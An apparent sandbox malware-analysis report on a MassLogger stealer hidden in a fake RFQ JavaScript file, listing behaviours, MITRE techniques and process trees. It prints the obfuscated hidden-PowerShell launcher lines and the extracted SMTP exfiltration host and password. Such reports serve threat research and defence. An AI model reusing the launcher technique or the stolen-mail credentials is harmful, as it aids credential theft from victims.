Analysis
- max time kernel
298s - max time network
296s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
23/06/2026, 11:07
General
- Target RFQ#6000222713ADM.js
- Size 7.7MB
- Sample260623-m8hersct4z
- SHA256 76771c0cfe10218fc1e8ba4ad2adfde996e1f5fd4b9987294da57e5b2a496e50
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.trimnt.com
-
Port
587
-
Username
-
Password
Zs5s*QVx(4yLLl*1
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
Zs5s*QVx(4yLLl*1
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.trimnt.com
-
ssl_slate
True
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\RFQ#6000222713ADM.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" --headless powershell.exe -w H -NoP -nOni -EncodedCommand JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABlAG4AdgA6AGUAbABmAGsAcQA1AHMASQA0AHEAKQApAA==2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w H -NoP -nOni -EncodedCommand JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABlAG4AdgA6AGUAbABmAGsAcQA1AHMASQA0AHEAKQApAA==3⤵
- Badlisted process makes network request
- Registers new Windows logon scripts automatically executed at logon.
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_dxb3oi54.nfs.ps1
memory/4188-11-0x0000026289410000-0x000002628955E000-memory.dmp
memory/4188-14-0x00000262897F0000-0x0000026289848000-memory.dmp
memory/4188-1-0x000002628CAA0000-0x000002628CAB0000-memory.dmp
memory/4188-10-0x000002628CAA0000-0x000002628CAB0000-memory.dmp
memory/4188-12-0x000002628CAA0000-0x000002628CAB0000-memory.dmp
memory/4188-0-0x000002628CAA0000-0x000002628CAB0000-memory.dmp
memory/4188-13-0x0000026289630000-0x00000262897EA000-memory.dmp
memory/4188-2-0x000002628BA30000-0x000002628BA52000-memory.dmp
memory/4188-17-0x00000262895D0000-0x00000262895EE000-memory.dmp
memory/4188-18-0x0000026289410000-0x000002628955E000-memory.dmp
memory/4188-21-0x00000262899E0000-0x0000026289A30000-memory.dmp
memory/4188-22-0x0000026289410000-0x000002628955E000-memory.dmp
memory/4188-23-0x00000262A5D70000-0x00000262A5F32000-memory.dmp
memory/4188-24-0x0000026289410000-0x000002628955E000-memory.dmp